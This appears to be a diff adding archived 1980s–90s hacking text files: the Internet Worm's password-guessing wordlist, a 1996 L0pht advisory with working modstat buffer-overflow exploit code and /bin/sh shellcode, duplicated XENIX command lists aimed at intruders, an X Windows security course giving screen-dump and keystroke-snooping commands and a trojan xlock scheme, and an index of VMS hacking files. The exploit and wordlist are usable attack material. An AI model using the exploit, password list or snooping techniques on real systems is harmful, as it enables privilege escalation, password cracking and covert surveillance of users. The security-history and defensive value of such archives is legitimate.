THE PASSWORDS USED BY THE INTERNET WORM
cat virpasswords
aaa
academia
aerobics
airplane
albany
albatross
albert
alex
alexander
algebra
aliases
alphabet
ama
amorphous
analog
anchor
andromache
animals
answer
anthropogenic
anvils
anything
aria
ariadne
arrow
arthur
athena
atmosphere
aztecs
azure
bacchus
bailey
banana
bananas
bandit
banks
barber
baritone
bass
bassoon
batman
beater
beauty
beethoven
beloved
benz
beowulf
berkeley
berliner
beryl
beverly
bicameral
bob
brenda
brian
bridget
broadway
bumbling
burgess
campanile
cantor
cardinal
carmen
carolina
caroline
cascades
castle
cat
cayuga
celtics
cerulean
change
charles
charming
charon
chester
cigar
classic
clusters
coffee
coke
collins
commrades
computer
condo
cookie
cooper
cornelius
couscous
creation
creosote
cretin
daemon
dancer
daniel
danny
dave
december
defoe
deluge
desperate
develop
dieter
digital
discovery
disney
dog
drought
duncan
eager
easier
edges
edinburgh
edwin
edwina
egghead
eiderdown
eileen
einstein
elephant
elizabeth
ellen
emerald
engine
engineer
enterprise
enzyme
ersatz
establish
estate
euclid
evelyn
extension
fairway
felicia
fender
fermat
fidelity
finite
fishers
flakes
float
flower
flowers
foolproof
football
foresight
format
forsythe
fourier
fred
friend
frighten
fun
fungible
gabriel
gardner
garfield
gauss
george
gertrude
ginger
glacier
gnu
golfer
gorgeous
gorges
gosling
gouge
graham
gryphon
guest
guitar
gumption
guntis
hacker
hamlet
handily
happening
harmony
harold
harvey
hebrides
heinlein
hello
help
herbert
hiawatha
hibernia
honey
horse
horus
hutchins
imbroglio
imperial
include
ingres
inna
innocuous
irishman
isis
japan
jessica
jester
jixian
johnny
joseph
joshua
judith
juggle
julia
kathleen
kermit
kernel
kirkland
knight
ladle
lambda
lamination
larkin
larry
lazarus
lebesgue
lee
leland
leroy
lewis
light
lisa
louis
lynne
macintosh
mack
maggot
magic
malcolm
mark
markus
marty
marvin
master
maurice
mellon
merlin
mets
michael
michelle
mike
minimum
minsky
moguls
moose
morley
mozart
nancy
napoleon
nepenthe
ness
network
newton
next
noxious
nutrition
nyquist
oceanography
ocelot
olivetti
olivia
oracle
orca
orwell
osiris
outlaw
oxford
pacific
painless
pakistan
pam
papers
password
patricia
penguin
peoria
percolate
persimmon
persona
pete
peter
philip
phoenix
pierre
pizza
plover
plymouth
polynomial
pondering
pork
poster
praise
precious
prelude
prince
princeton
protect
protozoa
pumpkin
puneet
puppet
rabbit
rachmaninoff
rainbow
raindrop
raleigh
random
rascal
really
rebecca
remote
rick
ripple
robotics
rochester
rolex
romano
ronald
rosebud
rosemary
roses
ruben
rules
ruth
sal
saxon
scamper
scheme
scott
scotty
secret
sensor
serenity
sharks
sharon
sheffield
sheldon
shiva
shivers
shuttle
signature
simon
simple
singer
single
smile
smiles
smooch
smother
snatch
snoopy
soap
socrates
sossina
sparrows
spit
spring
springer
squires
strangle
stratford
stuttgart
subway
success
summer
super
superstage
support
supported
surfer
suzanne
swearer
symmetry
tangerine
tape
target
tarragon
taylor
telephone
temptation
thailand
tiger
toggle
tomato
topography
tortoise
toyota
trails
trivial
trombone
tubas
tuttle
umesh
unhappy
unicorn
unknown
urchin
utility
vasant
vertigo
vicky
village
virginia
warren
water
weenie
whatnot
whiting
whitney
will
william
williamsburg
willie
winston
wisconsin
wizard
wombat
woodwind
wormwood
yacov
yang
yellowstone
yosemite
zap
zimmerman
cyklop>

117
textfiles.com/hacking/UNIX/x86bsd_m.asc Normal file
View File

@@ -0,0 +1,117 @@
L0pht Security Advisory
Advisory released Dec 9 1996
Application: modstat
Vulnerability Scope: systems with the *BSD
distribution of modstat sgid kmem
Severity: Users can gain group kmem permissions
and thus read DES keys, passwords, and in certain
situations panic the machine (you know, the standard
things you can do with group kmem perms).
Author: mudge@l0pht.com
Overview:
Modstat is sgid kmem which is really handy to become if you feel
like looking through /dev/mem and /dev/kmem (gee, wonder what
you might want to do that for <grin>). Like just about everything
else under the sun it has a buffer overflow problem. The problem
exists in the dostat() routine where an arbitrary sized string
is shoved into sbuf.name through a strcpy().
It is also possible to panic many systems by reading through
all memory. With memory mapped architectures you will set
various flags for having read values and touched registers -
since the system is expecting these registers to be in certain states,
tripping them to other states can cause bizarre results can occur. A
quick example is to md5 through your interface to memory and watch
the confusion that can occur in certain systems ;-) So yes, in many cases
being group kmem will let you shutdown a machine in a roundabout way...
even with just Read-Only abilities.
The difference between this and some other buffer overflow code is
that this, much like my original syslog() code has to be placed "after"
the saved stack frame since you only have under 57 bytes to deal with.
However, we don't care that we might be munging the original args and
environment vars now do we ;-). Care must still be taken to make sure the
code does not contain NULL's as strcpy will end upon it's first NULL.
mudge@l0pht.com
---
Check out http://www.l0pht.com/advisories.html for other l0pht advisories
---
/********************************************************************
* modstat buffer overflow code - mudge@l0pht.com *
* 8/11/96 *
* Done initially on FreeBSD as my BSDI box is down right now... *
* sigh. It should work on any x86 arch with the standard *BSD *
* implementation as they all use the same opcodes and operands. *
* Go grab the splitvt code if you want this to work on Linux. *
* *
* try with offsets of -48, 7, 271, 326 with the way this is curr. *
* setup. If these fail, brute force it <grin>. *
* *
* Many thanks to bitwrior for initially finding the code problem *
* in modstat and pointing it out to me - It's always nice when *
* someone hands you a bone to gnaw on without wanting *
* anything in particular out of it [this I know 'cause he has no *
* problems writing this sort of thing on his own]. *
*******************************************************************/
#include <stdio.h>
#include <stdlib.h>
long get_esp(void)
{
__asm__("movl %esp, %eax\n");
}
main(int argc, char **argv)
{
int i, j, offset;
char *bar, *foo;
unsigned long *esp_plus = NULL;
char mach_codes[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
if (argc == 2)
offset = atoi(argv[1]);
else {
fprintf(stderr, "Usage: %s offset\n", argv[0]);
exit(1);
}
bar = malloc(4096);
if (!bar){
printf("failed to malloc memory\n");
exit(1);
}
foo = bar; /* copy of original ptr */
esp_plus = (long *)bar;
for(i=0; i < 24 ; i++)
*(esp_plus++) = (get_esp() + offset);
printf("Using offset (0x%x)\n", (get_esp() + offset));
bar = (char *)esp_plus;
for(j=0; j< strlen(mach_codes); j++)
*(bar++) = mach_codes[j];
*bar = 0;
execl("/usr/bin/modstat", "modstat", "-n", foo, NULL);
}

202
textfiles.com/hacking/UNIX/xenix.txt Normal file
View File

@@ -0,0 +1,202 @@
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=- XENIX -=-
=-= Commands and Infomation =-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=- Written By:Stingray -=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok I am gonna give you a good idea of
the commands that you can use in
XENIX system. Many of these commands
require a ROOT account but you will
need to be farmilliar with them.
Well Here we go.....
--------------------
cat concentrate or display
text on the screen.
CAT <filename>
-
cd change directory.
CD returns to login
directory.
CD <dir> Chooses a specific
directory.
-
chmod change mode.
CHMOD <who> operation code permission
file changes the
permission mode for the
user.
<who> A all
G group
O others
U user (login owner)
operations code
+ add permission
- remove permission
= assign all permission
(read,write,and execute)
permission
r read
w write
x execute
-
cp copy file
CP filename1 filename2
(copies file1 to file2)
CP filename1 filename2 dirname
(copies file1 and file2 into
a specified directory)
-
date displays the current date
and time to screen.
DATE
-
df
DF displays the number of
blocks free on root file
system.
DF /dev/hdx displays the number of
blocks free on specific
disk.
-
du disk usage
DU dir displays the number of
blocks used and in what
files they are used.
-
kill terminate a process
KILL number terminates the process
number.
-
lc list or display the
contents of a directory
and information on files
in that directory.
LC dir name displays contents of the
specified directory.
-
lpr line print spooler
LPR filename
outputs file to line
printer.
-
mkdir make a directory
MKDIR dirname
creates the directory
dirname.
-
more display text on screen 1
screen at a time.
MORE filename
displays data in filename
1 screen at a time.
-
mv move or rename files
and directories.
MV filename1 filename2
changes the name of file1
to file2.
MV filename1 dirname
moves filename1 to directiory
dirname.
MV new name dirname
changes name of specified
directory.
-
passwd change your login password
PASSWD
-
ps process status
PS -E displays information about
all active processes.
-
pwd print working directory
PWD displays the dir path
-
quot summarize file system
ownership.
QUOT -F file system
displays the number of blocks
owned by each user in the
specified file system.
-
rm remove files or directories.
RM filename
erases specified file.
RMDIR empty directory name
removes specified empty
directory.
RMUSER removes the specified user.
-
save save or backup files.
SAVE 0-ss/usr/name/'filename'
copies the file onto a single
sides floppy in drive 0.
(from here type 'RESTORE 0'
to install it on the hard
drive.)
-
wall writes a message to all users
on the system.
WALL message to be sent
(this is a good one to anounce
yourself when the system has
become useless to you.)
-
who who is on the system
WHO displays a list of users on the
system by login name, terminal,
and login time.
-
Ok so there is a list of the cammands you have
available through a ROOT account on a XENIX.
XENIX is sorta a scaled down sub-version of
UNIX. So when hacking it use unix hacking
procedures.
Well I know this is a little cut and dry but
thats the way it goes....I hope it was helpful.
Now when you get in you will know what to do.
BIBLIOGRAPHY:
-------------
A book a ripped off the computer lab call:
XENIX <Multi User System>
Thanks to P-80 for the great service they do
all of us. Thanks a million Scan Man.....

274
textfiles.com/hacking/UNIX/xwindows.txt Normal file
View File

@@ -0,0 +1,274 @@
Subject: X Security - A Crash Course by runeb@stud.cs.uit.no
Crash Course in X Windows Security
1. Motivation / introduction
2. How open X displays are found
3. The local-host problem
4. Snooping techniques - dumping windows
5. Snooping techniques - reading keyboard
6. Xterm - secure keyboard option
7. Trojan X programs [xlock and xdm]
8. X Security tools - xauth MIT-MAGIC-COOKIE
9. Concluding remarks
1. Motivation / introduction
X windows pose a security risk. Through a network, anyone can connect to
an open X display, read the keyboard, dump the screen and windows and
start applications on the unprotected display. Even if this is a known
fact throughout the computer security world, few attempts on informing
the user community of the security risks involved have been made. This
article deals with some of the aspects of X windows security. It is in no
sense a complete guide to the subject, but rather an introduction to a
not-so-known field of computer security. Knowledge of the basics of the X
windows system is necessary, I haven't bothered including an introductory
section to explain the fundamentals. I wrote some code during the
research for this article, but none of it is included herein. If the
lingual flow of English seem mayhap strange and erroneous from byte to
byte, this is due to the fact that I'm Scandinavian. Bare with it. :)
2. How open X displays are found
An open X display is in formal terms an X server that has its access
control disabled. Disabling access control is normally done with the
xhost command.
$ xhost +
allows connections from any host. A single host can be allowed connection
with the command
$ xhost + ZZZ.ZZZ.ZZZ.ZZZ
where Z is the IP address or host-name. Access control can be enabled by
issuing an
$ xhost -
command. In this case no host but the local-host can connect to the
display. Period. It is as simple as that - if the display runs in 'xhost
-' state, you are safe from programs that scans and attaches to
unprotected X displays. You can check the access control of your display
by simply typing xhost from a shell. Sadly enough, most sites run their X
displays with access control disabled as default. They are therefore easy
prey for the various scanner programs circulating on the net.
Anyone with a bit of knowledge about Xlib and sockets programming can
write an X scanner in a couple of hours. The task is normally
accomplished by probing the port that is reserved for X windows, number
6000. If anything is alive at that port, the scanner calls
XOpenDisplay("IP-ADDRESS:0.0") that will return a pointer to the display
structure, if and only if the target display has its access control
disabled. If access control is enabled, XOpenDisplay returns 0 and
reports that the display could not be opened.
E.g:
Xlib: connection to "display:0.0" refused by server
Xlib: Client is not authorized to connect to Server
The probing of port 6000 is necessary because of the fact that calling
XOpenDisplay() on a host that runs no X server will simply hang the
calling process. So much for unix programming conventions. :)
I wrote a program called xscan that could scan an entire subnet or scan
the entries in /etc/hosts for open X displays. My remark about most sites
running X displays with access control disabled, originates from running
xscan towards several sites on the internet.
3. The localhost problem
Running your display with access control enabled by using 'xhost -' will
guard you from XOpenDisplay attempts through port number 6000. But there
is one way an eavesdropper can bypass this protection. If he can log into
your host, he can connect to the display of the localhost. The trick is
fairly simple. By issuing these few lines, dumping the screen of the host
'target' is accomplished:
$ rlogin target
$ xwd -root -display localhost:0.0 > ~/snarfed.xwd
$ exit
$ xwud -in ~/snarfed.xwd
And voila, we have a screendump of the root window of the X server
target.
Of course, an intruder must have an account on your system and be able to
log into the host where the specific X server runs. On sites with a lot
of X terminals, this means that no X display is safe from those with
access. If you can run a process on a host, you can connect to (any of)
its X displays.
Every Xlib routine has the Display structure as it's first argument. By
successfully opening a display, you can manipulate it with every Xlib
call available. For an intruder, the most 'important' ways of
manipulating is grabbing windows and keystrokes.
4. Snooping techniques - dumping windows
The most natural way of snarfing a window from an X server is by using
the X11R5 utility xwd or X Window System dumping utility. To get a grip
of the program, here's a small excerpt from the man page
DESCRIPTION
Xwd is an X Window System window dumping utility. Xwd allows Xusers
to store window images in a specially formatted dump file. This file
can then be read by various other X utilities for redisplay, printing,
editing, formatting, archiving, image processing, etc. The target
window is selected by clicking the pointer in the desired window. The
keyboard bell is rung once at the beginning of the dump and twice when
the dump is completed.
Shortly, xwd is a tool for dumping X windows into a format readable by
another program, xwud. To keep the trend, here's an excerpt from the man
page of xwud:
DESCRIPTION
Xwud is an X Window System image undumping utility. Xwud allows X
users to display in a window an image saved in a specially formatted
dump file, such as produced by xwd(1).
I will not go in detail of how to use these programs, as they are both
self-explanatory and easy to use. Both the entire root window, a
specified window (by name) can be dumped, or a specified screen. As a
'security measure' xwd will beep the terminal it is dumping from, once
when xwd is started, and once when it is finished (regardless of the xset
b off command). But with the source code available, it is a matter of
small modification to compile a version of xwd that doesn't beep or
otherwise identifies itself - on the process list e.g. If we wanted to
dump the root window or any other window from a host, we could simply
pick a window from the process list, which often gives away the name of
the window through the -name flag. As before mentioned, to dump the
entire screen from a host:
$ xwd -root localhost:0.0 > file
the output can be directed to a file, and read with
$ xwud -in file
or just piped straight to the xwud command.
Xterm windows are a different thing. You can not specify the name of an
xterm and then dump it. They are somehow blocked towards the X_Getimage
primitive used by xwd, so the following
$ xwd -name xterm
will result in an error. However, the entire root window (with Xterms and
all) can still be dumped and watched by xwud. Some protection.
5. Snooping techniques - reading keyboard
If you can connect to a display, you can also log and store every
keystroke that passes through the X server. A program circulating the
net, called xkey, does this trick. A kind of higher-level version of the
infamous ttysnoop.c. I wrote my own, who could read the keystrokes of a
specific window ID (not just every keystroke, as my version of xkey).
The window ID's of a specific root-window, can be acquired with a call to
XQueryTree(), that will return the XWindowAttributes of every window
present. The window manager must be able to control every window-ID and
what keys are pressed down at what time. By use of the window-manager
functions of Xlib, KeyPress events can be captured, and KeySyms can be
turned into characters by continuous calls to XLookupString.
You can even send KeySym's to a Window. An intruder may therefore not
only snoop on your activity, he can also send keyboard events to
processes, like they were typed on the keyboard. Reading/writing
keyboard events to an xterm window opens new horizons in process
manipulation from remote. Luckily, xterm has good protection techniques
for prohibiting access to the keyboard events.
6. Xterm - Secure keyboard option
A lot of passwords is typed in an xterm window. It is therefore crucial
that the user has full control over which processes can read and write to
an xterm. The permission for the X server to send events to an Xterm
window, is set at compile time. The default is false, meaning that all
SendEvent requests from the X server to an xterm window is discarded. You
can overwrite the compile-time setting with a standard resource
definition in the .Xdefaults file:
xterm*allowSendEvents True
or by selecting Allow Sendevents on the Xterm Main Options
menu. (Accessed by pressing CTRL and the left mouse button But this is
_not_ recommended. Neither by me, nor the man page. ;) Read access is a
different thing.
Xterms mechanism for hindering other X clients to read the keyboard
during entering of sensitive data, passwords etc. is by using the
XGrabKeyboard() call. Only one process can grab the keyboard at any one
time. To activate the Secure Keyboard option, choose the Main Options
menu in your Xterm window (CTRL+Left mouse button) and select Secure
Keyboard. If the colors of your xterm window inverts, the keyboard is
now Grabbed, and no other X client can read the KeySyms.
The versions of Xterm X11R5 without patch26 also contain a rather nasty
and very well known security hole that enables any user to become root
through clever use of symbolic links to the password file. The Xterm
process need to be setuid for this hole to be exploitable. Refer to the
Cert Advisory: CA-93:17.xterm.logging.vulnerability.
7. Trojan X clients - xlock and X based logins
Can you think of a more suitable program for installing a
password-grabbing trojan horse than xlock? I myself cannot. With a few
lines added to the getPassword routine in xlock.c, the password of every
user using the trojan version of xlock can be stashed away in a file for
later use by an intruder. The changes are so minimal, only a couple of
bytes will tell the real version from the trojan version.
If a user has a writable homedir and a ./ in her PATH environment
variable, she is vulnerable to this kind of attack. Getting the password
is achieved by placing a trojan version of Xlock in the users homedir and
waiting for an invocation. The functionality of the original Xlock is
contained in the trojan version. The trojan version can even tidy up and
destroy itself after one succesfull attempt, and the user will not know
that his password has been captured.
Xlock, like every password-prompting program, should be regarded with
suspicion if it shows up in places it should not be, like in your own
homedir.
Spoofed X based logins however are a bit more tricky for the intruder to
accomplish. He must simulate the login screen of the login program ran
by XDM. The only way to ensure that you get the proper XDM login program
(if you want to be really paranoid) is to restart the X-terminal,
whatever key combination that will be for the terminal in question.
8. X Security tools - xauth MIT-MAGIC-COOKIE
To avoid unathorized connections to your X display, the command xauth for
encrypted X connections is widely used. When you login, xdm creates a
file .Xauthority in your homedir. This file is binary, and readable only
through the xauth command. If you issue the command
$ xauth list
you will get an output of:
your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b76682f726d42544a684a
display name authorization type key
The .Xauthority file sometimes contains information from older sessions,
but this is not important, as a new key is created at every login
session. To access a display with xauth active - you must have the
current access key.
If you want to open your display for connections from a particular user,
you must inform him of your key. He must then issue the command
$ xauth add your.display.ip:0 MIT-MAGIC-COOKIE-1 73773549724b7668etc.
Now, only that user (including yourself) can connect to your display.
Xauthority is simple and powerful, and eliminates many of the security
problems with X.

203
textfiles.com/hacking/UNIX/zenixinf.hac Normal file
View File

@@ -0,0 +1,203 @@
Unauthorised Access UK 0636-708063 10pm-7am 12oo/24oo
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=- XENIX -=-
=-= Commands and Infomation =-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=- Written By:Stingray -=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok I am gonna give you a good idea of
the commands that you can use in
XENIX system. Many of these commands
require a ROOT account but you will
need to be farmilliar with them.
Well Here we go.....
--------------------
cat concentrate or display
text on the screen.
CAT <filename>
-
cd change directory.
CD returns to login
directory.
CD <dir> Chooses a specific
directory.
-
chmod change mode.
CHMOD <who> operation code permission
file changes the
permission mode for the
user.
<who> A all
G group
O others
U user (login owner)
operations code
+ add permission
- remove permission
= assign all permission
(read,write,and execute)
permission
r read
w write
x execute
-
cp copy file
CP filename1 filename2
(copies file1 to file2)
CP filename1 filename2 dirname
(copies file1 and file2 into
a specified directory)
-
date displays the current date
and time to screen.
DATE
-
df
DF displays the number of
blocks free on root file
system.
DF /dev/hdx displays the number of
blocks free on specific
disk.
-
du disk usage
DU dir displays the number of
blocks used and in what
files they are used.
-
kill terminate a process
KILL number terminates the process
number.
-
lc list or display the
contents of a directory
and information on files
in that directory.
LC dir name displays contents of the
specified directory.
-
lpr line print spooler
LPR filename
outputs file to line
printer.
-
mkdir make a directory
MKDIR dirname
creates the directory
dirname.
-
more display text on screen 1
screen at a time.
MORE filename
displays data in filename
1 screen at a time.
-
mv move or rename files
and directories.
MV filename1 filename2
changes the name of file1
to file2.
MV filename1 dirname
moves filename1 to directiory
dirname.
MV new name dirname
changes name of specified
directory.
-
passwd change your login password
PASSWD
-
ps process status
PS -E displays information about
all active processes.
-
pwd print working directory
PWD displays the dir path
-
quot summarize file system
ownership.
QUOT -F file system
displays the number of blocks
owned by each user in the
specified file system.
-
rm remove files or directories.
RM filename
erases specified file.
RMDIR empty directory name
removes specified empty
directory.
RMUSER removes the specified user.
-
save save or backup files.
SAVE 0-ss/usr/name/'filename'
copies the file onto a single
sides floppy in drive 0.
(from here type 'RESTORE 0'
to install it on the hard
drive.)
-
wall writes a message to all users
on the system.
WALL message to be sent
(this is a good one to anounce
yourself when the system has
become useless to you.)
-
who who is on the system
WHO displays a list of users on the
system by login name, terminal,
and login time.
-
Ok so there is a list of the cammands you have
available through a ROOT account on a XENIX.
XENIX is sorta a scaled down sub-version of
UNIX. So when hacking it use unix hacking
procedures.
Well I know this is a little cut and dry but
thats the way it goes....I hope it was helpful.
Now when you get in you will know what to do.
BIBLIOGRAPHY:
-------------
A book a ripped off the computer lab call:
XENIX <Multi User System>
Thanks to P-80 for the great service they do
all of us. Thanks a million Scan Man.....

72
textfiles.com/hacking/VMS.1 Normal file
View File

@@ -0,0 +1,72 @@
<HTML>
<TITLE>T E X T F I L E S</TITLE>
<BODY BGCOLOR="#000000" TEXT="#00FF00" LINK="#00FF00" ALINK="#00AA00" VLINK="#00AA00">
<H1>Hacking Textfiles: VAX and VMS </H1>
<P>
The Operating System and Machine Family created by Digital has its own
interesting legion of fans and stadium of haters. It's weird, it's old iron,
and some people swear it's amazingly stable. Regardless, it garnered a lot of
interest from hackers for decades, and files that implore the community to
check out these grand and fascinating machines were sprinkled quite liberally
on BBSes.
<P>
Most of the big names of hacking in the 1980's had at least one VAX or VMS
file to offer. Also, many people wrote humor files about VAXes; those are
in the <A HREF="../humor/COMPUTER.1">Computer Humor</A> section.
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#00FF00><FONT COLOR=#000000><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#00DD00><FONT COLOR=#000000><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#00AA00><FONT COLOR=#000000><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/accounts.vax">accounts.vax</A> <tab to=T><TD> 5772<BR><TD> Accounts to try if you wanna enter into a VAX/VMS
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/basic2.hac">basic2.hac</A> <tab to=T><TD> 7275<BR><TD> The Basics of Hacking II: VAXes By the Knights of Shadow
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/ccc-2.txt">ccc-2.txt</A> <tab to=T><TD> 23016<BR><TD> Beginners Guide to VAX/VMS Hacking By ENTITY of Corrupt Computing Canada (September 12, 1989)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/ccc-vms.txt">ccc-vms.txt</A> <tab to=T><TD> 150491<BR><TD> A Beginner's Guide to VAX/VMS Hacking by Entity of Corrupt Computing Canada (1989)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/ccc_2.txt">ccc_2.txt</A> <tab to=T><TD> 150491<BR><TD> The Beginner's Guide to VAX/VMS Hacking by Corrupt Computing Canada
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/deccomma">deccomma</A> <tab to=T><TD> 17065<BR><TD> Help Screens from VMS
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/hackingv.txt">hackingv.txt</A> <tab to=T><TD> 6324<BR><TD> Inside VAX/VMS, by Master Blaster
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/newtov.txt">newtov.txt</A> <tab to=T><TD> 46604<BR><TD> An Overview of the VMS Operating System
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/openvms">openvms</A> <tab to=T><TD> 89709<BR><TD> FAQ: The DEC VMS Faq (October 19, 1995) from Steve Lionel
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/practica.txt">practica.txt</A> <tab to=T><TD> 105438<BR><TD> A Practical Exercise in Securing an OpenVMS System by Rob McMillan of the University of Queensland
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/tcsb.09">tcsb.09</A> <tab to=T><TD> 44251<BR><TD> Telecom Computer Security Bulletin: Using the VAX/VMS Authorize Utility by line Shadow (September 10, 1988)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax">vax</A> <tab to=T><TD> 4887<BR><TD> Step-by-Step Out-Modem Location Instructions, by Phantom
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-1.hac">vax-1.hac</A> <tab to=T><TD> 4012<BR><TD> What's Hacking? By David Lightman Vol. 1
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-1.txt">vax-1.txt</A> <tab to=T><TD> 4011<BR><TD> VAX Computer Systems by David Lightman
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-2.txt">vax-2.txt</A> <tab to=T><TD> 3181<BR><TD> VAX Computer Systems by David Lightman #2
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-3.txt">vax-3.txt</A> <tab to=T><TD> 3975<BR><TD> VAX Computer Systems by David Lightman #3
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-4.txt">vax-4.txt</A> <tab to=T><TD> 3889<BR><TD> VAX Computer Systems by David Lightman #4
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-5.txt">vax-5.txt</A> <tab to=T><TD> 3645<BR><TD> VAX Computer Systems by David Lightman #5
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-6.txt">vax-6.txt</A> <tab to=T><TD> 3787<BR><TD> VAX Computer Systems by David Lightman #6
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-7.hac">vax-7.hac</A> <tab to=T><TD> 2156<BR><TD> What's Hacking? By David Lightman Vol. 7
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax-7.txt">vax-7.txt</A> <tab to=T><TD> 1024<BR><TD> VAX Computer Systems by David Lightman #7
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vax.txt">vax.txt</A> <tab to=T><TD> 13952<BR><TD> Hacking VAX's VMS System
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxa.txt">vaxa.txt</A> <tab to=T><TD> 65419<BR><TD> The VMS System User's Manual, typed in by Guardian of Time
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxc.txt">vaxc.txt</A> <tab to=T><TD> 150296<BR><TD> The Beginner's Guide to VAX/VMS Hacking, by Entity of Corrupt Computing Canada
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxcomma.txt">vaxcomma.txt</A> <tab to=T><TD> 6400<BR><TD> Inside Vax/Vms: Using Command Procedures by Master Blaster
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxdef.txt">vaxdef.txt</A> <tab to=T><TD> 1121<BR><TD> Various Default Passwords on VAXes
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxfaq1.txt">vaxfaq1.txt</A> <tab to=T><TD> 16820<BR><TD> The Info-VAX Monthly Posting Part 1 (August 2, 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxfaq2.txt">vaxfaq2.txt</A> <tab to=T><TD> 23574<BR><TD> The Info-VAX Monthly Posting Part 2 (October 28, 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxfaq3.txt">vaxfaq3.txt</A> <tab to=T><TD> 22843<BR><TD> The Info-VAX Monthly Posting Part 3 (September 5, 1992)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxfaq4.txt">vaxfaq4.txt</A> <tab to=T><TD> 44676<BR><TD> The Info-VAX Monthly Posting Part 4 (May 27, 1993)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxhack.hac">vaxhack.hac</A> <tab to=T><TD> 11043<BR><TD> Hacking VAX VMS's by Terry Gilligan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxhack.one">vaxhack.one</A> <tab to=T><TD> 4609<BR><TD> VAX and VMS Hacking: An introduction
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxhack.txt">vaxhack.txt</A> <tab to=T><TD> 5282<BR><TD> VAX and VMS Hacking by Metal Maniac
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxhackone.hac">vaxhackone.hac</A> <tab to=T><TD> 5379<BR><TD> VAX/VMS Hacking by Metal Maniac
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxinst.hac">vaxinst.hac</A> <tab to=T><TD> 12800<BR><TD> Welcome to the World of VAX
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxinst.txt">vaxinst.txt</A> <tab to=T><TD> 13056<BR><TD> Welcome to the World of VAX
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxlight.hac">vaxlight.hac</A> <tab to=T><TD> 24645<BR><TD> What's Hacking? A Series by David Lightman: VAXES
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxnums.txt">vaxnums.txt</A> <tab to=T><TD> 1781<BR><TD> A List of VAX Numbers
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxvmlod.hac">vaxvmlod.hac</A> <tab to=T><TD> 3968<BR><TD> LOD/H Present Hacking into VAX/VMS Systems
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxvms.hac">vaxvms.hac</A> <tab to=T><TD> 6656<BR><TD> Inside VAX/VMS by Master Blaster
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxvms.txt">vaxvms.txt</A> <tab to=T><TD> 6668<BR><TD> Inside Vax/VMS: Using Command Procedures, by Master Blaster
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="VMS/vaxvmsin.txt">vaxvmsin.txt</A> <tab to=T><TD> 2360<BR><TD> Inside VAX/VMS, by Master Blaster
